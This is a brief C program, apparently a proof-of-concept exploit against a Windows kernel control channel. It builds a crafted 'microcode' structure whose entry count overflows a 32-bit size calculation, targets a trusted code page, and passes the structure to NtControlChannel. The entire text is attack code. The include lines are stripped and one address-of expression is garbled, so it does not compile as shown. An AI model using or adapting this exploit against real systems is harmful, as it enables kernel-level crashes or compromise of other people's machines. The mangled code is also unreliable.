#include #include #include #include #pragma pack(1) struct { uint64_t start_va; uint32_t size; uint32_t ecnt; struct { uint16_t opcode; uint16_t flags; uint32_t address; } data; } microcode; int main(int argc, char **argv) { microcode.start_va = (uint64_t) GetProcAddress; // just some trusted page microcode.size = 1; microcode.ecnt = (UINT32_MAX + 1ULL + 8ULL) / 8; microcode.data.opcode = 0x310f; // rdtsc microcode.data.flags = 0; microcode.data.address = microcode.start_va; NtControlChannel(0x12, µcode); _asm rdtsc return 0; }